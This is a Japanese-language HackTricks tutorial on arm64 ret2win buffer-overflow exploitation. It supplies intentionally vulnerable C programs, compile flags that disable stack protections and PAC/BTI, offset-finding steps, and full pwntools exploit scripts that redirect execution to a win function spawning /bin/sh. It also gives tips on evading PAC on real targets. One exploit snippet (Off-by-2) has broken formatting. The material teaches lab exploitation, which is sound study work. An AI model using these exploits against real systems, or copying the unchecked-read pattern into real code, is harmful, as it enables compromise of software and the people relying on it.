Ret2win - arm64
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
arm64 の入門は以下を参照してください:
コード
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
pie と canary を無効にしてコンパイル:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- 追加のフラグ
-mbranch-protection=noneは AArch64 Branch Protection (PAC/BTI) を無効にします。ツールチェインが PAC や BTI をデフォルトで有効にしている場合、これによりラボの再現性が保たれます。コンパイル済みバイナリが PAC/BTI を使用しているか確認するには: - AArch64 の GNU プロパティを確認します:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'- プロローグ/エピローグで
paciasp/autiasp(PAC) やbti cランディングパッド (BTI) を確認します: objdump -d ret2win | head -n 40
AArch64 呼び出し規約の要点
- リンクレジスタは
x30(別名lr)です。関数は通常x29/x30をstp x29, x30, [sp, #-16]!で保存し、ldp x29, x30, [sp], #16; retで復元します。 - これは、保存されたリターンアドレスがフレームベースから見て
sp+8にあることを意味します。char buffer[64]を下に配置した場合、保存されたx30までの通常の上書き距離は 64(バッファ)+ 8(保存された x29)= 72 バイトです — 以下で正にこれを確認します。 - スタックポインタは関数境界で 16 バイト整列を維持する必要があります。後でより複雑なシナリオで ROP チェーンを組む場合は、SP の整列を保ってください。そうしないと関数のエピローグでクラッシュする可能性があります。
オフセットの見つけ方
パターンオプション
この例は GEF を使用して作成されました:
gef 付きで gdb を起動し、パターンを作成して使用します:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 はレジスタ x30 にあるアドレスに戻ろうとします (which was compromised)、これを使って pattern offset を見つけることができます:
pattern search $x30
.png)
オフセットは72(9x48)です。
スタックオフセットのオプション
まず、pc register が格納されているスタックアドレスを取得します:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
次に read() の後にブレークポイントを設定し、read() が実行されるまで続行して、13371337 のようなパターンを設定します:
b *vulnerable_function+28
c
.png)
このパターンがメモリのどこに格納されているかを見つける:
.png)
次に: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
通常
win 関数のアドレスを取得する:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
エクスプロイト:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
実際には、これはスタックに保存された PC の off-by-2 のようなものです。return address 全体を上書きする代わりに、0x06c4 で最後の 2 バイトのみを上書きします。
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
You can find another off-by-one example in ARM64 in https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, which is a real off-by-one in a fictitious vulnerability.
With PIE
Tip
binary を
-no-pie引数を指定せずに コンパイルしてください
Off-by-2
leak がないと win function の正確なアドレスは分かりませんが、binary からの関数の offset は分かりますし、上書きしている return address が既に近いアドレスを指していることが分かっているため、この場合 win function の offset(0x7d4)を leak してその offset を使うことが可能です:
.png)
Configuration
binary_name = ‘./ret2win’ p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b’A’ * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
## macOS
### コード
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((noinline))
void win(void) {
system("/bin/sh"); // <- **our target**
}
void vulnerable_function(void) {
char buffer[64];
// **BOF**: reading 256 bytes into a 64B stack buffer
read(STDIN_FILENO, buffer, 256);
}
int main(void) {
printf("win() is at %p\n", win);
vulnerable_function();
return 0;
}
canaryなしでコンパイルする(macOSではPIEを無効にできません):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
ASLR を無効にして実行する(ただしアドレス leak があるため不要):
env DYLD_DISABLE_ASLR=1 ./bof_macos
Tip
macOSではNXを無効化することはできません。arm64ではこのモードがハードウェアレベルで実装されているため無効化できません。したがって、macOSでstack上にshellcodeがある例は見つからないでしょう。
オフセットを特定する
- パターンを生成する:
python3 - << 'PY'
from pwn import *
print(cyclic(200).decode())
PY
- プログラムを実行し、クラッシュを引き起こすパターンを入力してください:
lldb ./bof_macos
(lldb) env DYLD_DISABLE_ASLR=1
(lldb) run
# paste the 200-byte cyclic string, press Enter
- レジスタ
x30(リターンアドレス)を確認してオフセットを見つける:
(lldb) register read x30
- 正確なオフセットを見つけるには
cyclic -l <value>を使用します:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- こうして offset
72を見つけました。その offset にwin()関数の address を入れると、その関数を実行して shell を取得できます(ASLR を無効にして実行)。
Exploit
#!/usr/bin/env python3
from pwn import *
import re
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the win() address using regex
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract win() address")
p.close()
exit(1)
win_address = int(match.group(1), 16)
print(f"Extracted win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Send the payload
p.send(payload)
# Drop to an interactive session
p.interactive()
macOS - 2番目の例
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
void leak_anchor(void) {
puts("leak_anchor reached");
}
__attribute__((noinline))
void win(void) {
puts("Killed it!");
system("/bin/sh");
exit(0);
}
__attribute__((noinline))
void vuln(void) {
char buf[64];
FILE *f = fopen("/tmp/exploit.txt", "rb");
if (!f) {
puts("[*] Please create /tmp/exploit.txt with your payload");
return;
}
// Vulnerability: no bounds check → stack overflow
fread(buf, 1, 512, f);
fclose(f);
printf("[*] Copied payload from /tmp/exploit.txt\n");
}
int main(void) {
// Unbuffered stdout so leaks are immediate
setvbuf(stdout, NULL, _IONBF, 0);
// Leak a different function, not main/win
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
// Sleep 3s
sleep(3);
vuln();
return 0;
}
canaryなしでコンパイルする(macOSではPIEを無効にできません):
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
オフセットを見つける
- ファイル
/tmp/exploit.txtにパターンを生成する:
python3 - << 'PY'
from pwn import *
with open("/tmp/exploit.txt", "wb") as f:
f.write(cyclic(200))
PY
- プログラムを実行してクラッシュを発生させる:
lldb ./bof_macos
(lldb) run
- レジスタ
x30(リターンアドレス)を確認してオフセットを見つける:
(lldb) register read x30
cyclic -l <value>を使って正確なオフセットを特定する:
python3 - << 'PY'
from pwn import *
print(cyclic_find(0x61616173))
PY
# Replace 0x61616173 with the 4 first bytes from the value of x30
- こうしてオフセット
72を見つけました。そのオフセットにwin()関数のアドレスを入れることで、その関数を実行してシェルを取得できます(ASLR 無効で実行中)。
win() のアドレスを計算する
- バイナリは PIE です。
leak_anchor()関数の leak を使用し、leak_anchor()関数からwin()関数までのオフセットがわかっていれば、win()関数のアドレスを計算できます。
objdump -d bof_macos | grep -E 'leak_anchor|win'
0000000100000460 <_leak_anchor>:
000000010000047c <_win>:
- オフセットは
0x47c - 0x460 = 0x1c
Exploit
#!/usr/bin/env python3
from pwn import *
import re
import os
# Load the binary
binary_name = './bof_macos'
# Start the process
p = process(binary_name)
# Read the address printed by the program
output = p.recvline().decode()
print(f"Received: {output.strip()}")
# Extract the leak_anchor() address using regex
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
if not match:
print("Failed to extract leak_anchor() address")
p.close()
exit(1)
leak_anchor_address = int(match.group(1), 16)
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
# Calculate win() address
win_address = leak_anchor_address + 0x1c
print(f"Calculated win() address: {hex(win_address)}")
# Offset calculation:
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
offset = 64 + 8 # 72 bytes total to reach the return address
# Craft the payload - ARM64 addresses are 8 bytes
payload = b'A' * offset + p64(win_address)
print(f"Payload length: {len(payload)}")
# Write the payload to /tmp/exploit.txt
with open("/tmp/exploit.txt", "wb") as f:
f.write(payload)
print("[*] Payload written to /tmp/exploit.txt")
# Drop to an interactive session
p.interactive()
modern AArch64 のハードニング (PAC/BTI) と ret2win に関する注意
- バイナリが AArch64 Branch Protection でコンパイルされている場合、関数のプロローグ/エピローグに
paciasp/autiaspやbti cが出力されることがあります。その場合: - BTI の有効なランディングパッドでないアドレスに戻ると
SIGILLが発生する可能性があります。bti cを含む関数の先頭アドレスを正確に狙ってください。 - 返り値に対して PAC が有効な場合、素朴な return‑address 上書きはエピローグが
x30を認証するため失敗することがあります。学習用のシナリオでは-mbranch-protection=noneで再ビルドしてください(上記参照)。実際のターゲットを攻撃する場合は、非リターン型のハイジャック(例:function pointer の上書き)を選ぶか、偽造した LR を認証するautiasp/retの組を決して実行しないような ROP を構築してください。 - 機能を素早く確認するには:
readelf --notes -W ./ret2winを実行し、AARCH64_FEATURE_1_BTI/AARCH64_FEATURE_1_PACのノートを探す。objdump -d ./ret2win | head -n 40を実行し、bti c、paciasp、autiaspを探す。
非 ARM64 ホストでの実行 (qemu‑user のクイックヒント)
If you are on x86_64 but want to practice AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
関連する HackTricks ページ
参考文献
- AArch64上でのLinux向けPACとBTIの有効化 (Arm Community, 2024年11月). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Arm 64ビットアーキテクチャの手続き呼び出し規約 (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


